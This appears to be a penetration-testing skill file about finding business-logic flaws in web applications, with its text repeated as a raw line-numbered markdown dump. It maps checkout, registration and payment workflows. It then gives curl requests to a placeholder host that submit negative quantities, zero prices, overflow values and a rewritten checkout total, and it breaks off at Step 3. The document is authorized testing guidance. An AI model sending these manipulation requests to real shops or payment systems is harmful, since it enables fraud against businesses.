Testing for Business Logic Vulnerabilities
When to Use
- During authorized penetration tests when automated scanners have found few technical vulnerabilities
- When assessing e-commerce platforms for pricing, cart, and payment flow manipulations
- For testing multi-step workflows (registration, checkout, approval processes) for bypass opportunities
- When evaluating rate-limited features like vouchers, coupons, referrals, and rewards systems
- During security assessments of financial applications, voting systems, or any application with critical business rules
Prerequisites
- Authorization: Written penetration testing agreement covering business logic testing
- Burp Suite Professional: For intercepting and modifying multi-step request flows
- Application understanding: Thorough knowledge of the application's intended business workflows
- Multiple test accounts: Accounts at different privilege levels and states
- Browser DevTools: For examining client-side validation logic
- Documentation: Business requirements or user stories describing expected behavior
Workflow
Step 1: Map Business Workflows and Rules
Document all critical business processes and their expected constraints.
# Critical business flows to map:
# 1. Registration/Onboarding flow
# - Email verification requirements
# - Account approval process
# - Role assignment logic
# 2. E-commerce/Purchase flow
# - Product selection → Cart → Checkout → Payment → Confirmation
# - Price calculation logic
# - Discount/coupon application
# - Quantity limits
# - Shipping cost calculation
# 3. Authentication/Authorization flow
# - Login → MFA → Dashboard
# - Password reset → Token → New password
# - Role escalation/approval
# 4. Financial transactions
# - Balance check → Transfer → Confirmation
# - Withdrawal limits
# - Currency conversion
# Document expected constraints:
# - Minimum order amounts
# - Maximum quantity per item
# - Coupon usage limits (one per user)
# - Referral reward caps
# - Withdrawal daily limits
# - Account verification requirements before certain actions
Step 2: Test Price and Quantity Manipulation
Intercept and modify price, quantity, and total values in requests.
# Test negative quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
"https://target.example.com/api/cart/add"
# Test zero price
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 1, "price": 0}' \
"https://target.example.com/api/cart/add"
# Test extremely large quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 999999999}' \
"https://target.example.com/api/cart/add"
# Test decimal/float manipulation
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
"https://target.example.com/api/cart/add"
# Test integer overflow
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 2147483647}' \
"https://target.example.com/api/cart/add"
# Modify total amount directly in checkout request
# Intercept in Burp and change total from 299.99 to 0.01
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
"https://target.example.com/api/checkout"
Step 3: Test Workflow Step Bypass
Attempt to skip required steps in multi-step processes.
# Skip email verification
# Instead of: Register → Verify email → Access dashboard
> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.
1---2name: testing-for-business-logic-vulnerabilities3description: "Identifies business logic flaws like price manipulation. Signals: API attacks, interface testing, GraphQL."4zh-signals: "Manually identifies flaws in application business logic - price manipulation 信号:api攻击,接口测试,graphql。"5when-to-use: Manually identifies flaws in application business logic - price manipulation,6 multi-step workflow bypass, and privilege escalation - by intercepting and modifying7 requests with Burp Suite, going beyond what automated vulnerability scanners detect.8 Use for e-commerce checkout/cart flows, voucher and rewards systems, or any assessment9 where scanners find little but business rules need scrutiny.10domain: cybersecurity11subdomain: web-application-security12tags:13- penetration-testing14- business-logic15- owasp16- web-security17- burpsuite18- manual-testing19version: '1.0'20author: mahipal21license: Apache-2.022nist_csf:23- PR.PS-0124- ID.RA-0125- PR.DS-1026- DE.CM-0127mitre_attack:28- T119029- T1059.00730- T1505.00331- T108332- T106833metadata:34 source: https://skillmd.com/skills/dangeroussong/testing-for-business-logic-vulnerabilities35---3637# Testing for Business Logic Vulnerabilities3839## When to Use4041- During authorized penetration tests when automated scanners have found few technical vulnerabilities42- When assessing e-commerce platforms for pricing, cart, and payment flow manipulations43- For testing multi-step workflows (registration, checkout, approval processes) for bypass opportunities44- When evaluating rate-limited features like vouchers, coupons, referrals, and rewards systems45- During security assessments of financial applications, voting systems, or any application with critical business rules4647## Prerequisites4849- **Authorization**: Written penetration testing agreement covering business logic testing50- **Burp Suite Professional**: For intercepting and modifying multi-step request flows51- **Application understanding**: Thorough knowledge of the application's intended business workflows52- **Multiple test accounts**: Accounts at different privilege levels and states53- **Browser DevTools**: For examining client-side validation logic54- **Documentation**: Business requirements or user stories describing expected behavior5556## Workflow5758### Step 1: Map Business Workflows and Rules5960Document all critical business processes and their expected constraints.6162```63# Critical business flows to map:64# 1. Registration/Onboarding flow65# - Email verification requirements66# - Account approval process67# - Role assignment logic6869# 2. E-commerce/Purchase flow70# - Product selection → Cart → Checkout → Payment → Confirmation71# - Price calculation logic72# - Discount/coupon application73# - Quantity limits74# - Shipping cost calculation7576# 3. Authentication/Authorization flow77# - Login → MFA → Dashboard78# - Password reset → Token → New password79# - Role escalation/approval8081# 4. Financial transactions82# - Balance check → Transfer → Confirmation83# - Withdrawal limits84# - Currency conversion8586# Document expected constraints:87# - Minimum order amounts88# - Maximum quantity per item89# - Coupon usage limits (one per user)90# - Referral reward caps91# - Withdrawal daily limits92# - Account verification requirements before certain actions93```9495### Step 2: Test Price and Quantity Manipulation9697Intercept and modify price, quantity, and total values in requests.9899```bash100# Test negative quantity101curl -s -X POST \102 -H "Authorization: Bearer $TOKEN" \103 -H "Content-Type: application/json" \104 -d '{"product_id": 1, "quantity": -1, "price": 99.99}' \105 "https://target.example.com/api/cart/add"106107# Test zero price108curl -s -X POST \109 -H "Authorization: Bearer $TOKEN" \110 -H "Content-Type: application/json" \111 -d '{"product_id": 1, "quantity": 1, "price": 0}' \112 "https://target.example.com/api/cart/add"113114# Test extremely large quantity115curl -s -X POST \116 -H "Authorization: Bearer $TOKEN" \117 -H "Content-Type: application/json" \118 -d '{"product_id": 1, "quantity": 999999999}' \119 "https://target.example.com/api/cart/add"120121# Test decimal/float manipulation122curl -s -X POST \123 -H "Authorization: Bearer $TOKEN" \124 -H "Content-Type: application/json" \125 -d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \126 "https://target.example.com/api/cart/add"127128# Test integer overflow129curl -s -X POST \130 -H "Authorization: Bearer $TOKEN" \131 -H "Content-Type: application/json" \132 -d '{"product_id": 1, "quantity": 2147483647}' \133 "https://target.example.com/api/cart/add"134135# Modify total amount directly in checkout request136# Intercept in Burp and change total from 299.99 to 0.01137curl -s -X POST \138 -H "Authorization: Bearer $TOKEN" \139 -H "Content-Type: application/json" \140 -d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \141 "https://target.example.com/api/checkout"142```143144### Step 3: Test Workflow Step Bypass145146Attempt to skip required steps in multi-step processes.147148```bash149# Skip email verification150# Instead of: Register → Verify email → Access dashboard151152> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.